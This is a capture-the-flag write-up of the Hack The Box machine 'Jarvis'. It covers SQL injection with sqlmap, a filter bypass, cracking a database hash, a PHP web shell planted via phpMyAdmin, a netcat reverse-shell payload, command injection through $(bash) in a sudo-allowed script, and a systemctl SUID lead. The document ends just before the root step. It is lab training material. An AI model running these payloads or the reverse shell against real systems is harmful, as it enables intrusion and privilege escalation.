Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-08 17:33 EET
Nmap scan report for jarvis.htb (10.10.10.143)
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.86 seconds
root@kali:~/Desktop/HTB/boxes/jarvis#

We got ssh on port 22 and http on port 80. Let’s take a look at the web service.

Web Enumeration

By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:


I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://jarvis.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/08 17:38:59 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
=====================================================
2019/11/08 17:40:39 Finished
=====================================================

http://jarvis.htb/phpmyadmin

phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. -phpmyadmin.net

That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.

SQLi in room.php

Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:


I tried replacing the number with a single quote ' and I got a weird response:

So I ran sqlmap but I got a 404 response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1             
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:43:03 /2019-11-08/
[17:43:03] [INFO] testing connection to the target URL
[17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:43:04] [INFO] testing if the target URL content is stable
[17:43:05] [INFO] heuristics detected web page charset 'ascii'
[17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk
results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[17:43:13] [INFO] searching for dynamic content
[17:43:13] [CRITICAL] page not found (404)
[17:43:13] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[*] ending @ 17:43:13 /2019-11-08/

I checked the page again and saw a message indicating that I got banned for 90 seconds:

I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"     
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:15:42 /2019-11-08/
[22:15:42] [INFO] testing connection to the target URL
[22:15:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:15:43] [INFO] testing if the target URL content is stable
[22:15:44] [INFO] target URL content is stable
[22:15:44] [INFO] testing if GET parameter 'cod' is dynamic
[22:15:45] [INFO] GET parameter 'cod' appears to be dynamic
[22:15:46] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[22:15:46] [INFO] testing for SQL injection on GET parameter 'cod'
[22:15:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:15:48] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
[22:15:52] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[22:15:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:15:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:16:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:16:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:16:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:16:02] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:16:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:16:03] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:16:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:16:06] [INFO] testing 'MySQL inline queries'
[22:16:06] [INFO] testing 'PostgreSQL inline queries'
[22:16:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:16:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:16:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:16:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:16:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:16:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[22:16:22] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[22:16:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:16:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:16:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech
nique test
[22:16:23] [INFO] target URL appears to have 7 columns in query
[22:16:28] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:16:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:16:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:16:33 /2019-11-08/

root@kali:~/Desktop/HTB/boxes/jarvis#

RCE –> Shell as www-data

I could get RCE in 2 different ways.

First way:

By using the os-shell option in sqlmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell                                    
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:23:10 /2019-11-08/
[22:23:10] [INFO] resuming back-end DBMS 'mysql'
[22:23:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:23:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:23:11] [INFO] going to use a web backdoor for command prompt
[22:23:11] [INFO] fingerprinting the back-end DBMS operating system
[22:23:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[22:23:13] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html
[22:23:40] [INFO] retrieved web server absolute paths: '/images/'
[22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php
[22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php
[22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>

From here we can simply execute a reverse shell command and get a shell.

Second way:

I used the --passwords option to dump the users’ password hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords                                  
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:17:45 /2019-11-08/

[22:17:46] [INFO] resuming back-end DBMS 'mysql'
[22:17:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:17:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:17:46] [INFO] fetching database users password hashes
[22:17:46] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

[22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:17:55 /2019-11-08/

root@kali:~/Desktop/HTB/boxes/jarvis#

I got the password hash for DBadmin, I cracked it with crackstation:

Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:


From the SQL console we can write a web shell:

1
SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"

I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url-encode it first:

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff

Now we have a shell as www-data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:57400.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@jarvis:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337

www-data@jarvis:/var/www/html$ export TERM=screen
www-data@jarvis:/var/www/html$

Command Injection in simpler.py –> Shell as pepper –> User Flag

I checked the home directory and there was a user called pepper, I couldn’t read the user flag as www-data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@jarvis:/var/www/html$ cd /home/
www-data@jarvis:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Mar 2 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 pepper
www-data@jarvis:/home$ cd pepper/
www-data@jarvis:/home/pepper$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
www-data@jarvis:/home/pepper$ cat user.txt
cat: user.txt: Permission denied
www-data@jarvis:/home/pepper$

By running sudo -l I saw that I can run /var/www/Admin-Utilities/simpler.py as pepper without a password:

1
2
3
4
5
6
7
8
www-data@jarvis:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************


********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]

Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP

www-data@jarvis:/home/pepper$

Let’s take a look at that script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
www-data@jarvis:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)

def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()

print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1

print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()

def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req

def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]

def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req

def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
www-data@jarvis:/home/pepper$

The most interesting function in this script is exec_ping:

1
2
3
4
5
6
7
8
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:

1
& ; - ` || |

However, It doesn’t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1), echo 127.0.0.1 will be executed first then the ping command will be executed:

1
2
3
4
5
6
7
8
root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
root@kali:~/Desktop/HTB/boxes/jarvis#

ping -c 1 $(whoami) will result in an error message because it will try to ping root which is not a valid hostname:

1
2
3
root@kali:~/Desktop/HTB/boxes/jarvis#  ping -c 1 $(whoami)
ping: unknown host root
root@kali:~/Desktop/HTB/boxes/jarvis#

So we can simply do $(bash) and we’ll get a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************

Enter an IP: $(bash)
pepper@jarvis:~$

When I ran commands I didn’t get any output:

1
2
3
4
pepper@jarvis:~$ id
pepper@jarvis:~$ cat user.txt
pepper@jarvis:~$ ls -la
pepper@jarvis:~$

So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:40124.
$ python -c "import pty;pty.spawn('/bin/bash')"
pepper@jarvis:~$ ^Z
[1]+ Stopped nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338

pepper@jarvis:~$ export TERM=screen
pepper@jarvis:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
pepper@jarvis:~$

We owned user.

Systemctl: suid –> Root Shell –> Root Flag

When I checked the suid binaries I saw systemctl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pepper@jarvis:~$ find / -perm -4000 2>/dev/null 
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
pepper@jarvis:~$

systemctl may be used to introspect and control the state of the “systemd” system and service manager. -man7.org

To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root.
